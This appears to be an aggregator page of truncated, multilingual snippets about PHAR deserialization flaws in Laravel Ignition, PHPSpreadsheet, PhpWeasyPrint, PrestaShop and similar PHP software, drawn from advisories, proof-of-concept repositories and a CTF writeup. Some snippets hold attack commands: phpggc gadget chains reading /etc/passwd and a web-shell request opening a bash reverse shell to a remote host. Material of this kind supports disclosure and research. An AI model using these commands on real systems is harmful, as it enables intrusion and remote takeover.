CVE-2021-3129

CVE-2021-3129 Laravel Ignition RCE Exploit Dies ist ein Python-Exploit-Skript für CVE-2021-3129, eine Remote-Code-Ausführungsschwachstelle in Laravel, wenn das Ignition-Paket installiert ist. Diese Schwachstelle ermöglicht es einem Angreifer, beliebige Systembefehle mittels PHAR-Deserialisierung...

CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 Schwachstellenübersicht Wenn der Debug-Modus von Laravel aktiviert ist, können Angreifer durch die unsichere Verwendung der Funktionen filegetcontents und fileputcontents durch die in Laravel integrierte Ignition-Komponente durch das Senden böswilliger...

CVE-2021-3129

CVE-2021-3129 root@kitploit: Phar-Paket mit benutzerdefinierten Befehlen generieren: php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0 php -a in die PHP-Kommandozeilenumgebung wechseln $fp = fopen'php://output', 'w';...

LKWA

LKWA Lesser Known Web Attack Lab è per pentester intermedi che possono testare e praticare attacchi web meno conosciuti come Object Injection, XSSI, PHAR Deserialization, variables variable ..ecc. Write-up sono benvenuti. La mia guida è qui . Installazione - Locale Basta clonare il git con git...

laravel-exploits

laravel-exploits CVE-2021-3129 के लिए एक्सप्लॉइट विवरण: https://www.ambionics.io/blog/laravel-debug-rce उपयोग root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip senha:...

PrestaShop-CVE-2018-19126

Execução Remota de Código no Back Office do PrestaShop CVE-2018-19126 Este é o PoC para o CVE-2018-19126, que encadeia múltiplas vulnerabilidades no Back Office do PrestaShop para acionar a desserialização via phar e obter execução remota de código. Pré-requisitos: PrestaShop 1.6.x anterior à...

CVE-2024-55187

Zusammenfassung Sensible administrative Parameter werden nicht ausreichend bereinigt, sodass ein Angreifer Pfade zu Systembinärdateien manipulieren kann. Der Angreifer kann dann gefährliche CSV-Dateien hochladen, die als PHAR-Archive behandelt werden können, die Shell-Metazeichen enthalten. Diese...

CVE-2021-3129

CVE-2021-3129 — Laravel Ignition Remote Code Execution CVSS 9.8 Critical | Unsafe File Operations → Log Poisoning → Phar Deserialization → RCE Übersicht Laravel Ignition 2.5.2 Laravel 8.4.2 ist durch eine RCE-Schwachstelle betroffen, wenn APPDEBUG=true ist. Der Endpunkt /ignition/execute-solution...

PoC-for-CVE-2020-28948-CVE-2020-28949

PoC für CVE-2020-28948 & CVE-2020-28949 Die hier enthaltenen Dateien enthalten PoCs für CVE-2020-28948 & CVE-2020-28949, um einen Remote-Exploit zu ermöglichen. Der Server Der Server-Ordner enthält einen einfachen Upload-Server, der die anfällige Bibliothek ArchiveTar verwendet und sich in...

CVE-2026-45034

🧨 Exploit de Desserialização Phar do PHPSpreadsheet Contorno deprohibitWrappers + Execução Remota de Código RCE em phpoffice/phpspreadsheet Este repositório fornece um exploit de prova de conceito PoC para uma vulnerabilidade crítica na popular biblioteca PHP PHPSpreadsheet. O ataque abusa do...

📄 PHPSpreadsheet 5.8.0 Remote Code Execution

PHPSpreadsheet version 5.8.0 suffers from a phar deserialization remote code execution vulnerability. ================================================================================================================================== | Title : PHPSpreadsheet 5.8.0 Phar Deserialization RCE | | Auth...

PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)

Summary pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist: php if 0 === \strpos$filename, 'phar://' throw new \InvalidArgumentException'The output file cannot be a phar archive.'; PHP stream wrappers are case-insensitive, so...

GHSA-2FMJ-P74R-3WJM PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)

Summary pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist: php if 0 === \strpos$filename, 'phar://' throw new \InvalidArgumentException'The output file cannot be a phar archive.'; PHP stream wrappers are case-insensitive, so...

CVE-2026-49286

CVE-2026-49286 - PhpWeasyPrint : The library (prior to 2.6.0) guards the output filename against the phar:// stream wrapper with a case-sensitive blacklist. Because PHP stream wrappers are case-insensitive, inputs like PHAR://, Phar:// bypass the check and reach fileExists() in prepareOutput(), a...

CVE-2026-49286 PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)

PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc...

Exploit for CVE-2026-45034

🧨 PHPSpreadsheet Phar Deserialization Exploit Bypass pro...

PHANTOM_CTF_HACKINGCLUB_BY_BSIDESRECIFE

Phantom — CTF Writeup & Exploit HackingClub / BSides Recife...

Server-Side Request Forgery (SSRF)

PhpSpreadsheet is vulnerable to Server-Side Request Forgery SSRF. The vulnerability is due to insufficient validation of user-controlled filenames passed to IOFactory::load, which allows an attacker to supply malicious PHP stream wrapper paths such as phar:// to trigger PHAR deserialization and...

CVE-2026-34084 PhpSpreadsheet SSRF and RCE via PHP stream wrappers in IOFactory::load

PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.2 and earlier, 2.0.0 through 2.1.14, 2.2.0 through 2.4.3, 3.3.0 through 3.10.3, and 4.0.0 through 5.5.0, when the filename argument to IOFactory::load is user-controlled, an attacker can supply a PHP stream...